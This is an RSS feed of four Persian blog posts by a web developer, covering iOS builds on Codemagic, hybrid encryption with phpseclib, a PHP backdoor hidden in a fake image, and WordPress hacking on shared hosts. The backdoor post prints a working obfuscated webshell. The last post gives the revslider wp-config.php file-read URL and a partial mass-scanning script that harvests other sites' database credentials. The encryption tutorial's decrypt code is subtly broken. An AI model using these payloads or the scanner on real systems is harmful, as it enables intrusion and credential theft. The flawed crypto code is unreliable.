<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
    <channel>
        <title>نوشته های Milad Ahmadi</title>
        <link>https://virgool.io/feed/@miladahmadi</link>
        <description>Designer &amp; Developer</description>
        <language>fa</language>
        <pubDate>2026-06-10 14:18:43</pubDate>
        <image>
            <url>https://files.virgool.io/upload/users/5788/avatar/yKFxlS.png?height=120&amp;width=120</url>
            <title>Milad Ahmadi</title>
            <link>https://virgool.io/@miladahmadi</link>
        </image>

                    <item>
                <title>گرفتن خروجی  IOS بدون نیاز به حساب 100 دلاری اپل و سیستم عامل مک</title>
                <link>https://virgool.io/flutter-community/%DA%AF%D8%B1%D9%81%D8%AA%D9%86-%D8%AE%D8%B1%D9%88%D8%AC%DB%8C-ios-%D8%A8%D8%AF%D9%88%D9%86-%D9%86%DB%8C%D8%A7%D8%B2-%D8%A8%D9%87-%D8%AD%D8%B3%D8%A7%D8%A8-100-%D8%AF%D9%84%D8%A7%D8%B1%DB%8C-%D8%A7%D9%BE%D9%84-%D9%88-%D8%B3%DB%8C%D8%B3%D8%AA%D9%85-%D8%B9%D8%A7%D9%85%D9%84-%D9%85%DA%A9-tzdspmec3bzx</link>
                <description>توی این پست محمد خواجوی یک روش عالی رو برای دریافت خروجی از پروژه های react native و flutter با استفاده از certificate های محمد رضی پور (از هردو شون بسیار ممنونم) آموزش دادن اما سرعت مک توی ماشین مجازی حتی برای سیستم هایی که بهترین سخت افزار هارو هم دارن  وحشتناکه?تصویر از Unsplashروشی که در ادامه توضیح میدم برای پروژه های فلاتر هست و پیش فرض این سایت هم اینه که شما از Flutter استفاده می کنید اما می تونید با مطالعه مستنداتشون از این سایت برای دریافت خروجی از react native هم استفاده کنید.آپلود پروژه روی Gitlabاول git رو روی سیستمتون نصب کنید.اگر اولین بار هست که از Git استفاده می کنید من این آموزش رو پیشنهاد می کنمتوی گیت‌لب ثبت نام کنید(اگر پروژتون توی bitbucket یا حتی گیت شخصی هم باشه مشکلی نیست).با استفاده از دستورات زیر پروژتون رو توی گیت‌لب آپلود کنیدcd existing_folder
git init
git remote add origin git@gitlab.com:miladahmadi/my-awesome-project.git
git add .
git commit -m &amp;quotInitial commit&amp;quot
git push -u origin masterثبت نام در سایت Codemagic و دریافت خروجی IOSاول certificate هارو از گیت هاب دریافت کنیدبه سایت codemagic.io برید و با استفاده حساب gitlab اتون ثبت نام کنید. خودش پروژه ها رو به صورت خودکار درون زیری می کنه؛ پروژه ای که قصد دارید خروجی ios بگیرید رو انتخاب کنید.انتخاب پروژهبعد وارد بخش تنظیمات بشید و به ترتیب در بخش های زیر تغییرات رو اعمال کنید.بخش Build : خروجی رو روی حالت release بزارید اگر قصد دارید خروجی اندروید هم بگیرید گزینه اندروید رو هم انتخاب کنید در غیر اینصورت تیکش رو بردارید (پیشنهاد میکنم بردارید تا مراحل سریع تر انجام بشه).بخش Publish : روی گزینه IOS کلیک کنید و حالت Publish رو روی manual بزارید فایلی که فرمت p12 داره رو توی بخش اول و فایل هایی که فرمت  mobileprovision دارند رو توی بخش دوم آپلود کنید.بعد از انجام هر مرحله از تغییرات روی دکمه Save کلیک کنید و پس اتمام این مراحل روی دکمه Start  new build کلیک کنید بخش Buildبخش Publishروی start new build کلیک کنیدتمام شد حالا فقط کافیه برید یک چای یا قهوه میل کنید☕ و اگر پروژتون خطا نده میتونید خروجی رو بعد از ربع ساعت دانلود کنید.فایلی که فرمت .ipa داره رو توی اپ استوری که قصد دارید برنامه تون منتشر بشه آپلود کنید.می تونید در ماه 400 دقیقه از سرویس این سایت به صورت رایگان استفاده کنید که تقریبا تمام نیاز های شمارو برآورده میکنه(بیش از 20 بار می تونید خروجی بگیرید)خروجیاتصال به مک مینی با VNC یا SSHاین سایت از mac mini برای دریافت خروجی از پروژه ها استفاده می کنه و به شما این امکان رو می ده که به صورت ریموت به Mac Mini با SSH یا VNC هم وصل بشید (SSH برای دسترسی به شل هست و با VNC می تونید به صورت گرافیکی با مک کار کنید)این قابلیت به صورت پیش فرض غیر فعال هست برای این که فعالش کنید وقتی روی Start New Build کلیک می کنید توی دیالوگی که باز میشه تیک گزینه Enable Remote Access رو هم بزنید توی صفحه Build اطلاعات  VNC و SSH رو می نویسه اما دقت کنید که مدت محدودی می تونید از این امکانات استفاده کنید و برای VNC باید پروک*سی تون رو روشن کنیدنکته : هر بار که خروجی می گیرید این اطلاعات عوض می‌شنتیک گزینه Enable remote access رو ب</description>
                <category>Milad Ahmadi</category>
                <author>Milad Ahmadi</author>
                <pubDate>Thu, 25 Jun 2020 04:00:13 +0430</pubDate>
            </item>
                    <item>
                <title>رمزگذاری داده ها با استفاده از الگوریتم های نامتقارن و کتابخانه phpseclib</title>
                <link>https://virgool.io/Software/%DA%86%DA%AF%D9%88%D9%86%D9%87-%D8%AF%D8%A7%D8%AF%D9%87-%D9%87%D8%A7%DB%8C-%D8%AE%D9%88%D8%AF-%D8%B1%D8%A7-%D8%A8%D8%A7-%D8%A7%D9%84%DA%AF%D9%88%D8%B1%DB%8C%D8%AA%D9%85-%D9%86%D8%A7%D9%85%D8%AA%D9%82%D8%A7%D8%B1%D9%86-%D9%88-%DA%A9%D8%AA%D8%A7%D8%A8%D8%AE%D8%A7%D9%86%D9%87-phpseclib-%D8%B1%D9%85%D8%B2%DA%AF%D8%B0%D8%A7%D8%B1%DB%8C-%DA%A9%D9%86%DB%8C%D9%85-u5ovtga24nqi</link>
                <description>این روز ها کم تر کسی پیدا می شود که به اهمیت ارسال داده ها به صورت امن پی نبرده و خواستار امنیت بیشتر در فضای مجازی و تبادلات روزانه اش نباشد . اگر شما هم برنامه نویس هستید قطعا برایتان جذاب خواهد بود که بدانید چگونه می توانید با استفاده صحیح از رمزنگاری های متقارن و نامتقارن امنیت کاربران خود را بالا ببرید و حتی در صورت هک شدن سرور به هکر ها اجازه دسترسی به اطلاعات کاربرانتان را ندهید.اما رمزنگاری چیست ؟ رمزنگاری به صورت خلاصه ترجمه داده های ارسالی با استفاده از یک کلید و الگوریتم رمزنگاری به متن رمز (ciphertext) می باشد. اطلاعات بیشتر در ویکی پدیاانواع الگوریتم های رمزنگاریالگوریتم های رمزنگاری متقارن ( Symmetric ) : در این نوع از الگوریتم ها از یک کلید برای رمزگذاری ( encryption ) و رمزگشایی ( decryption ) داده های استفاده می شود . مثل : Triple DES , Blowfish, Twofish و AESالگوریتم های رمزنگاری نامتقارن ( Asymmetric ) : در این نوع رمزنگاری از دوکلید برای رمزگذاری و رمزگشایی استفاده می شود از این دسته هم میتوان به رمزنگاری های :Diffie-Hellman, RSA, ECC, ElGamal, DSA اشاره کرد.در الگوریتم های متقارن ( Symmetric ) تنها یک کلید برای رمزگذاری و رمزگشایی وجود دارد . هم فرستنده و هم دریافت کننده پیام باید یک کلید رمزنگاری داشته باشند که از این کلید هم برای رمزگذاری و هم برای رمزگشایی پیام استفاده می شود مشخص است که استفاده از این نوع الگوریتم های رمزنگاری به تنهایی برای تبادل اطلاعات بین فرستنده و دریافت کننده باعث ایجاد یک ارتباط آسیب پذیر می شود. این نوع رمزنگاری برای رمزنگاری فایل ها و داده های شخصی مناسب است.در الگوریتم های نامتقارن ( Asymmetric ) دو کلید رمزنگاری وجود دارد : الف) کلید عمومی ( public key ) ب) کلید خصوصی ( private key ) . در این نوع الگوریتم داده هایی که با استفاده از کلید عمومی رمزگذاری میشوند تنها با استفاده کلید خصوصی قابل رمزگشایی هستند. در واقع دریافت کننده کلید عمومی خود را در اختیار فرستنده می گذارد و فرستنده پیام خود را با آن رمزگذاری و ارسال می کند و تنها درصورتی که دریافت کننده کلید خصوصیی مطابق با آن کلید عمومی داشته باشد می تواند پیام را بخواند .انتخاب الگوریتم رمزنگاری مناسبالگوریتم های رمزنگاری قدرتمند بر اساس معادلات پیشرفته ریاضی طراحی شده اند و طراحی یک رمزنگاری اختصاصی کاری بسیار دشوار و پیچیده است برای همین بیشتر شرکت ها و کاربران از استاندارد های ارائه شده توسط موسسه ملی و فناوری استاندارد های آمریکا (NIST) استفاده می کنند . این موسسه سه الگوریتم نامتقارن RSA , DSA و  ECDSA را به عنوان الگوریتم های نامتقارن استاندارد ارائه کرده است که از بین این سه الگوریتم الگوریتم ECDSA یک الگوریتم نسباتا جدید است به همین دلیل استفاده از آن متداول نیست و بیشتر از دو الگوریتم رمزنگاری RSA و DSA استفاده می شوده که از بین دو الگوریتم رمزنگاری ذکر شده هم الگوریتم  RSA به این دلیل که می تواند کلید های بزرگ تر و طولانی تری را ارائه دهد انتخاب می شود (اطلاعات بیشتر).مشکل الگوریتم RSAتا به اینجای کار مشاهده کردیم که الگوریتم های رمزنگاری نامتقارن مانند RSA انتخاب بهتری برای تبادل اطلاعات بین فرستنده و دریافت کننده پیام می باشد و از بین آن ها هم الگوریتم RSA بهتر است اما این الگوریتم یک مشکل بسیار بزرگ دارد و آن این است که با استفاده از این الگوریتم تنها می توانیم اطلاعاتی با سایز بسیار کم را رمزگذاری کنیم مثلا اگر شما از یک کلید 2048 بایتی استفاده کنید تنها می توانید 256 بایت متن رمزگذاری کنید .راه حلراه حل این مشکل این است که پیام ارسالی را با استفاده از یک الگوریتم متقارن رمزگذاری کنیم و بعد کلید رمزنگاری را با استفاده از الگوریتم نامتقارن رمزگذاری کنیم و به همراه پیام  ارسال کنیم . وقتی که پیام به کاربر نهایی رسید او هم کلید رمزنگاری متقارن را دارد و هم پیام را ، پس اول کلید را با استفاده از رمزنگاری نامتقارن رمزگشایی می کند و سپس از آن برای رمزگشایی پیام استفاده می کند.مراحل کار به صورت کاملالف ) رمزگذاری پیام :دریافت کننده پیام یک کلید رمزنگاری با استفاده از الگوریتم نامتقارن می سازد و کلید عمومی را برای فرستنده می فرستد. فرستنده هم به صورت تصادفی یک کلید رمزنگاری متقارن می سازد و از آن برای رمزگذاری پیام استفاده می کند.فرستنده پیام را با استفاده از کلید الگوریتم رمزنگاری متقارن رمزگذاری می کند فرستنده کلید خصوصی الگوریتم متقارن را با استفاده از کلید عمومی ارسال شده توسط دریافت کننده رمزگذاری می کندفرستنده پیام رمزگذاری شده را با کلید رمزنگاری شده به هم متصل می کند . فرستنده پیام را ارسال می کند.ب ) رمزگشایی پیام :حالا کافیست دریافت کننده دقیقا عکس عمل بالا را انجام دهد یعنی : دریافت کننده کلید الگوریتم متقارن را از پیام استخراج می کند .آن را با استفاده از کلید خصوصی الگوریتم نامتقارن رمزگشایی می کند . در مرحله آخر هم پیام را استفاده از کلید رمزگشایی شده رمزگشایی می کند .پیاده سازی راه حل با استفاده از کتابخانه phpseclibبرای این کار ما از کتابخانه PHP Secure Communications Library استفاده می کنیم . این کتابخانه با استفاده از پلاگین های open_ssl و mcrypt رمزنگاری های  RSA, DES, 3DES, RC4, Rijndael, AES, Blowfish, Twofish, SSH-1, SSH-2, SFTP, and X.509  را پیاده سازی کرده است که می توانید آن را با استفاده از composer بر روی پروژه خود نصب کنید .خیلی خب حالا باید به پیاده سازی راه حل گفته شده بپردازیم :ما با استفاده از کلاس RSA  کلید عمومی و خصوصی خود را می سازیم و باید دقت کنید که کلید خصوصی باید تا وقتی که برای رمزگشایی از آن استفاده نشده است در محل امنی نگه داری شود و کلید عمومی هم که برای فرستنده ارسال می شود .$rsa = new Crypt_RSA();
$keys = $rsa-&gt;createKey(2048);
    file_put_contents(&#039;key.pri&#039;,$keys[&#039;privatekey&#039;]);
    file_put_contents(&#039;key.pub&#039;,$keys[&#039;publickey&#039;]);تابع رمرگذاریاین تابع سه پارامتر ورودی دریافت می کند : $plaintext : متنی است که برای رمزگذاری ارائه می شود$asym_key : کلید عمومی که به فرستنده ارائه می شود$key_length : یک پارامتر اختیاری که نباید کمتر از 240 باشد و هرچه بیشتر باشد بهتر داده های ارسالی را از حملات بروت فروس در امان نگه می دارد . function encrypt_message($plaintext,$asym_key,$key_length=150){      
	$rsa = new Crypt_RSA();
	$rij = new Crypt_Rijndael();
	// ساخت کلید رمزنگاری متقارن که در این مثال از الگوریتم 
	//Rijndael
	//استفاده شده است
	$sym_key = crypt_random_string($key_length); 
	// رمزگذاری پیام با کلید بالا                  
	$rij-&gt;setKey($sym_key);
	$ciphertext = $rij-&gt;encrypt($plaintext);
	$ciphertext = base64_encode($ciphertext); 
	// رمزگذاری کلید رمزنگاری متقارن با کلید عمومی دریافت شده            
	$rsa-&gt;loadKey($asym_key);
	$sym_key = $rsa-&gt;encrypt($sym_key);
	 // اینکود کردن کلید رمزنگاری متقارن با استفاده Base64
	 $sym_key = base64_encode($sym_key);
	 $len = strlen($sym_key); // دریافت طول کلید
	$len = dechex($len); // 3 بایت اول پیام طول کلید می باشد
	$len = str_pad($len,3,&#039;0&#039;,STR_PAD_LEFT); // استفاده از تابع str_pad برای اینکه مطمئن شویم اندازه $len درست است
	// اتصال سه متغییر $len,$sym_key و $ciphertext
	$message = $len.$sym_key.$ciphertext;
	return $message;
	}تابع رمزگشاییاین تابع هم دو ورودی دریافت می کند$message : پیامی که باید رمزگشایی شود$asym_key : کلید خصوصی دریافت کننده .function decrypt_message($message,$asym_key){
$rsa = new Crypt_RSA();
$rij = new Crypt_Rijndael();
// استخراج کلید رمزنگاری متقارن
$len = substr($message,0,3); 
$len = hexdec($len);                        
$sym_key = substr($message,0,$len);
//استخراج پیام
$message = substr($message,3);
$ciphertext = substr($message,$len);
 $ciphertext = base64_decode($ciphertext);
	// رمزگشایی کلید رمزنگاری Rijndael
	$rsa-&gt;loadKey($asym_key);
	$sym_key = base64_decode($sym_key);
	$sym_key = $rsa-&gt;decrypt($sym_key);
	 // رمزگشایی پیام
	$rij-&gt;setKey($sym_key);                       
	$plaintext = $rij-&gt;decrypt($ciphertext);                                                 
	return $plaintext;
	}سخن آخردر این پست شما را انواع رمزنگاری ها و ترکیب آن ها با هم آشنا کردیم .  مزیت ها و معایب الگوریتم های متقارن و نامتقارن را بررسی کردیم و امیدواریم حالا دید بهتری نسبت به الگوریتم های رمزنگاری و روش های آن ها داشته باشید .می توانید سورس این پست را در گیت هاب هم مشاهده کنید .</description>
                <category>Milad Ahmadi</category>
                <author>Milad Ahmadi</author>
                <pubDate>Thu, 14 Jun 2018 05:04:36 +0430</pubDate>
            </item>
                    <item>
                <title>ساخت بکدور با استفاده از عکس جعلی</title>
                <link>https://virgool.io/@miladahmadi/%D8%B3%D8%A7%D8%AE%D8%AA-%D8%A8%DA%A9%D8%AF%D9%88%D8%B1-%D8%A8%D8%A7-%D8%A7%D8%B3%D8%AA%D9%81%D8%A7%D8%AF%D9%87-%D8%A7%D8%B2-%D8%B9%DA%A9%D8%B3-%D8%AC%D8%B9%D9%84%DB%8C-z5botjwwbwv7</link>
                <description>اکثرا هکر ها پس از هک کردن وب سایت مورد نظرشان در آن یک یا چند بکدور قرار می دهند تا درصورتی که بعدا خواستند دوباره آن وب سایت را هک کنند کار راحتی داشته باشند . بررسی ها نشان می دهد که بیش از ۷۰% وب سایت هایی که هک می شوند پس از هک شدن به آن ها بکدور تزریق می شود. در این پست به بررسی نحوه ساخت بکدور توسط هکر ها می پردازیم و یکی از متود های آن را هم تشریح می کنیم .بکدور چیست؟بکدور یا درب پشتی یک نوع بدافزار می باشد که این امکان را به هکر ها می دهد تا بدون وارد کردن نام کاربری یا گرفتن دسترسی از سرور به راحتی آن ها را دور زده و بدون اعتبار سنجی ، سایت یا سرور را کنترل کنند.چگونه  از بکدور ها در امان بمانیم؟در صورتی که از سیستم مدیریت محتوای وردپرس استفاده می کنید می توانید با نصب افزونه های امنیتی مثل wordfence یا ithemes security یا sucuri تا حد زیادی بکدور ها را شناسایی کنید چرا که این افزونه فایل های قالب ها و افزونه های شما را با فایل های اصلی آن مقایسه می کنند و درصورتی که تناقضی ببینند آن را گزارش می کنند و اگر هم از سیستم های مدیریت محتوای دیگر استفاده می کنید می توانید از افزونه های امنیتی آن ها استفاده کنید و یا با نصب یک فایروال خوب در سرور به راحتی کل سرور را اسکن نمایید. به علاوه ما پیشنهاد می کنیم که به هیچ وجه از قالب های نال شده استفاده نکنید زیرا در اکثر موارد دیده شده در این قالب ها بکدور های زیادی وجود داردبکدور ها در چه قسمتی از سایت من می توانند قرار گیرند؟بکدور ها می توانند بسیار خلاقانه باشند و در هر قسمت از سایت شما مثل دیتابیس ها , فایل های تم ها , پنل ادمین و … تزریق شوند برای همین تشخیص بکدور ها در مواردی بسیار سخت می باشد و آموزش پیدا کردن آن ها بسیار زمان گیر است . برای همین در این پست فقط به بررسی یک مورد از روش های جدید و خلاقانه ساخت بکدور بسنده می کنیم .بکدور در عکس جعلیدر این روش هکر مورد نظر یک عکس جعلی یا فیک ایجاد می کند و کد های خود را درون آن به نحوی که حتی وقتی آن را ببینید متوجه کد های مخرب آن نشوید می گذاردفرض کنید شما یک قالب جدید نال شده برای سایت وردپرسی خود دانلود کرده ایید و وقتی آن را نصب می کنید در پوشه عکس های قالب متوجه وجود یک فایل به اسم x.php می شوید وقتی این فایل را باز می کنید با کد زیر مواجه می شوید:&lt;?php include(&quot;background.jpg&quot;);?&gt; در نگاه اولیه تنها یک عکس فراخوانی می شود اما وقتی به آدرسhttp://mysite.com/wp-content/themes/some-theme/img/background.jpg
 می رویم انگار عکس مورد نظر خراب است و در مرورگر باز نمی شود برای همین فایل background.jpg را با یک تکست ادیتور باز می کنیم و متوجه این کد ها درون آن می شویم : &lt;?php
$imgCode = &#039;QGV2YWwoQCRfR0VUWyJjbWQiXSk7&#039;;
$imgName = strrev(&quot;esab&quot;).&quot;64_&quot;.strrev(&quot;edoced&quot;);
$imgS = $imgName(&quot;ZXZhbChiYXNlNjRfZGVjb2RlKCRpbWdDb2RlKSk7&quot;);
$createImg = strrev(&quot;taerc&quot;).&quot;e_f&quot;.strrev(&quot;noitcnu&quot;);
$c = $createImg(&#039;$imgCode&#039;, $imgS);
$c($imgCode);
?&gt; در نگاه اول شاید این کد ها هم خیلی خطرناک بنظر نیایند ولی پس از کمی بررسی متوجه خواهید شد که نفوذگر به صورت خلاقانه بکدور خود را با تابع strrev می سازد و به راحتی از سرور شما دسترسی می گیرد  .این اسکریپت با استفاده از این مراحل ساده دسترسی کامل سایت شما را به نفوذگر می دهد : متغییر imgCode شامل یک کد ساده مخرب می باشد که از قبل هکر آن را به صورت base64 درآورده است تا شما در اولین نگاه آن را نبینیدمتغییر imgName با استفاده از تابع strrev تابع base64_decode را می سازدو متغییر mgS وقتی با تابع base64_decode دیکود شود شامل کد هایی است که کد های مخرب imgCode را در سرور شما اجرا می کند که به این صورت می باشد1eval(base64_decode($imgCode)); متغییر createImg هم که تابع create function را با strrev به صورت برعکس نوشتهو در نهایت متغییر c کد های بکدور را به صورت یک تابع در می آورد و آن ها را فراخوانی میکند این نمونه ایی که در این پست مثال زدیم یکی از جدید ترین شیوه های هکر ها برای ساخت بکدور می باشد که که گزارش شده است . در صورتی که سوالی داشتید می توانید زیر همین پست مطرح کنیدلینک پست در تیم امنیتی گارد ایران </description>
                <category>Milad Ahmadi</category>
                <author>Milad Ahmadi</author>
                <pubDate>Fri, 23 Mar 2018 23:49:07 +0430</pubDate>
            </item>
                    <item>
                <title>هک سایت های وردپرسی در هاست های اشتراکی</title>
                <link>https://virgool.io/wptips/%D9%87%DA%A9-%D8%B3%D8%A7%DB%8C%D8%AA-%D9%87%D8%A7%DB%8C-%D9%88%D8%B1%D8%AF%D9%BE%D8%B1%D8%B3%DB%8C-%D8%AF%D8%B1-%D9%87%D8%A7%D8%B3%D8%AA-%D9%87%D8%A7%DB%8C-%D8%A7%D8%B4%D8%AA%D8%B1%D8%A7%DA%A9%DB%8C-jlkkvt35yrc7</link>
                <description> چگونه با هک شدن یک سایت وردپرسی روی هاست های اشتراکی بقیه سایت های وردپرسی هم به خطر می افتند؟با هک شدن یک سایت وردپرسی روی هاست های اشتراکی بقیه سایت ها هم به خطر می افتند اما چگونه ؟وقتی هکری به یکی از سایت های وردپرسی روی سرور نفوذ می کند می تواند با اسکریپتی ساده به فایل های بقیه سایت های روی سرور که سطح دسترسی یکسانی دارند دست پیدا کند . این آسیب پذیری cross-site contamination نامیده می شود که ناشی از  درست تنظیم نکردن پرمیژن ها توسط شخص یا شرکتی است که سرور را کانفیگ کرده است (System Administrator). همانطوری که می دانید ساختار تمام سایت های وردپرسی به یک شکل می باشد مثلا در بیشتر آن ها فایل wp-config.php حاوی اطلاعات دیتابیس می باشد؛ بسیار مهم است که به افراد غریبه(بقیه کاربران سرور) اجازه دسترسی به این فایل را ندهید درصورتی که هکری به این فایل دسترسی پیدا کند می تواند یک یوزر با سطح دسترسی ادمین ایجاد کند و به کل سایت دسترسی داشته باشد.چگونه به افراد غریبه اجازه دسترسی به فایل های مهم وردپرسی را ندهیم؟شرکت های هاست دهی و صاحبان وب سایت ها می توانند دو کار مهم برای جلوگیری از این گونه حملات انجام دهند:قطع دسترسی تمام کاربران به جز  صاحب وب سایت و سرور به فایل wp-config.php . که این کار با تنظیم پرمیژن ۴۰۰ ( فقط خواندن ) انجام می شود.Remote Mysql Connection را می بندند و اجازه اتصال به دیتابیس را فقط به IP سرور محدود می کنندبا استفاده از این دو کار ساده تا وقتی که وب سایت شما آسیب پذیری arbitrary file download را نداشته باشد باعث جلوگیری از بسیاری از حملات می شود .آسیب پذیری Arbitrary File Downloadاین آسیب پذیری به هکر ها این اجازه را می دهد که به وب سایت شما درخواست هایی را بفرستند و فایل ها را از روی سرور شما دانلود یا مشاهده کنند . این آسیب پذیری یکی از آسیب پذیری های شایع در تم ها و پلاگین های وردپرس می باشد مثلا در سال ۲۰۱۴ این آسیب پذیری در یکی از محبوب ترین پلاگین های وردپرس به نام revolution slider کشف شد و باعث هک شدن صد ها هزار سایت وردپرسی شد. در این آسیب پذیری فرد نفوذگر با ارسال یک درخواست ساده با متد get می توانست فایل wp-config.php را ببینید :http://target.com/wp-admin/admin-ajax.php?action=revslider_show_image&amp;img=../wp-config.phpهمین درخواست ساده باعث هک شدن هزاران سایت وردپرسی شد ؛ هکر ها با ارسال این درخواست به راحتی محتویات فایل wp-config.php را می خواندند و با اتصال به دیتابیس یک کاربر جدید با سطح دسترسی ادمین می ساختند و …محدود کردن سطح دسترسی هیچ کمکی نمی کنددر این مورد خاص سطح دسترسی ۴۰۰ هم هیچ کمکی نمی کند زیرا با این سطح دسترسی فایل wp-config.php می تواند توسط وب سرور خوانده شود (این امر برای کار کردن وردپرس ضروری می باشد)محدود کردن اتصال به دیتابیس ؟ تا حدودی محدود کردن اتصال به دیتابیس می تواند کمک کند ، دیگر هکر ها نمی توانند از کامپیوتر شخصی شان به دیتابیس سایت شما متصل شوند اما این مورد هم در هاست های اشتراکی قابل دور زدن می باشد کافی است هکر مورد نظر تنها یکی از سایت های روی سرور را هک کند ، حالا با استفاده از اسکریپتی  بنام Adminer به دیتابیس متصل می شود و کاربر جدید می سازد و …اسکن سایت های آسیب پذیراسکریپت‌های قدرتمندی در این زمینه وجود دارد اما اگر دسترسی روت نداریدمی‌توانید از اسکریپت زیر استفاده کنید و چک کنید که آیا سایت‌های روی سرور این آسیب پذیری را دارا هستند(اسیب پذیری در پلاگین revslider) یا خیر (این اسکریپت برای پیدا کردن سایت‌هایروی سرور از موتور جست‌وجو بینگ استفاده می‌کند بنابراین بازده آن ۱۰۰% نمی‌باشد):set_time_limit(0);
error_reporting(0);
$ip=trim(fgets(STDIN,1024));
$ip = explode(&#039;.&#039;,$ip);
$ip = $ip[0].&#039;.&#039;.$ip[1].&#039;.&#039;.$ip[2].&#039;.&#039;;
for($i=0;$i &lt;= 255;$i++)
{
    $sites = array_map(&amp;quotsite&amp;quot, bing(&amp;quotip:$ip.$i wordpress&amp;quot));
    $un=array_unique($sites);
    echo &amp;quot[+] Scanning -&gt; &amp;quot, $ip.$i, &amp;quot&amp;quot.&amp;quot\n&amp;quot
    echo &amp;quotFound By Pro.AlaaCool : &amp;quot.count($sites).&amp;quot sites\n\n&amp;quot
    foreach($un as $pok){
    $host=findit($file,&amp;quotDB_HOST&#039;, &#039;&amp;quot,&amp;quot&#039;);&amp;quot);
    $db=findit($file,&amp;quotDB_NAME&#039;, &#039;&amp;quot,&amp;quot&#039;);&amp;quot);
    $us=findit($file,&amp;quotDB_USER&#039;, &#039;&amp;quot,&amp;quot&#039;);&amp;quot);
    $pw=findit($file,&amp;quotDB_PASSWORD&#039;, &#039;&amp;quot,&amp;quot&#039;);&amp;quot);
    $bda=&amp;quothttp://$pok&amp;quot
    $linkof=&#039;/wp-admin/admin-ajax.php?action=revslider_show_image&amp;img=../wp-config.php&#039;;
    $dn=($bda).($linkof)
    ...لینک اسکریپتچگونه سایت خود را از این گونه حملات محفوظ نگه داریم؟در این پست  دیدید که امکان دارد فقط به این دلیل که سایت خود را بر روی یک‌هاست اشتراکی بنا نهاده ایید به راحتی هک شوید در حالی که شاید هکر حتی با سایت شما آشنا هم نبوده است. در واقع راه صددرصدیی وجود ندارد که سایت شما را در مقابل این گونه حملات محافظت کند. اما با رعایت این نکات می‌توانیدسطح امنیتی وب سایت خود را ارتقا بخشید:وب سایت خود را به یک‌هاست اختصاصی یا اختصاصی تر منتقل کنید.از شرکت های مطمئن‌هاست تهیه کنید.با اسکنرهای قدرتمند وب سایت خود را اسکن کنید تا از آسیب پذیر نبودن آن مطمئن شوید.از فایروال‌های امنیتی مناسب برای وب سایت خود استفاده کنید.</description>
                <category>Milad Ahmadi</category>
                <author>Milad Ahmadi</author>
                <pubDate>Thu, 15 Mar 2018 18:56:13 +0330</pubDate>
            </item>
            </channel>
</rss>